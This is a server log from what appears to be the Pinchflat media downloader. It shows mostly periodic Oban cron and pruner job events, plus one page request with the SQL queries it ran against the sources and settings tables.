{"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:14.847 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:44.849 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.512 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:14.851 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:44.853 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.513 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:14.855 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:44.857 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.514 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:14.859 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:44.861 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.515 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:14.864 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:44.866 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.516 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:14.868 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:44.871 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.517 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:14.873 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:44.875 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.519 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:14.877 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:44.879 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.520 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:14.881 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:44.883 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.521 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:14.885 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:44.887 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.522 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:14.889 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:44.891 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.523 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:14.893 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:44.895 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.524 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:14.897 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:44.900 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.525 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:14.902 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:44.904 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.526 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:14.906 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:44.908 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.527 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:14.910 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:44.912 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.528 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:14.914 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:44.916 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.529 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:14.918 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:44.920 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.530 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:14.922 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:44.924 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.531 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:14.926 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:44.928 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.532 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:14.930 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:44.932 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.533 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:14.934 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:44.937 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.535 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:14.939 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:44.941 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.536 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:14.943 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:44.945 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.537 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:14.947 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:44.949 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.538 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:14.951 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:44.953 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.539 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:14.955 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:16.286 [info] GET /sources 07:05:16.286 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 07:05:16.287 [debug] QUERY OK source="settings" db=0.3ms idle=451.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:05:16.288 [debug] QUERY OK source="settings" db=0.3ms idle=118.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:05:16.289 [debug] QUERY OK source="settings" db=0.2ms idle=119.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:05:16.291 [debug] QUERY OK source="settings" db=0.2ms idle=120.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:05:16.291 [debug] QUERY OK source="settings" db=0.2ms idle=121.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:05:16.296 [debug] QUERY OK source="sources" db=4.4ms idle=4.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 07:05:16.303 [debug] QUERY OK source="sources" db=5.5ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 07:05:16.308 [info] Sent 200 in 22ms 07:05:44.957 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.540 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:14.959 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:44.961 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.541 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:14.964 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:44.966 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.542 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:14.968 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:44.969 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.543 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:14.972 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:44.974 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.544 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:14.976 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:44.978 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.545 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:14.980 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:44.982 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.546 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:14.984 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:44.986 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.547 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:14.988 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:44.990 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.548 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:14.992 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:44.994 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.549 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:14.996 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:44.998 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.550 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:15.000 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:45.002 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.551 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:15.004 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:45.006 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.552 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:15.008 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:45.010 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.553 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:15.012 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:45.014 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.554 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:15.016 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:45.018 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.555 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:15.020 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:45.022 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.556 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:15.024 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:45.025 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.557 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:15.028 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:45.030 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.558 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:15.032 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:45.034 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.559 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:15.036 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:45.038 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.560 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:15.040 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:45.042 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.561 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:15.044 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:45.046 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.562 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:15.048 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:45.049 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.563 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:15.052 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:45.053 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.564 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:15.056 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:45.058 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.565 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:15.060 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:45.062 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.566 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:15.064 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:45.066 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.567 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:15.068 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:45.070 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.568 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:15.072 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:45.074 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.569 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:15.076 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:45.078 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.570 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:15.080 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:45.082 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.571 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:15.084 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:45.086 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.572 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:15.088 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:45.090 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.573 [info] 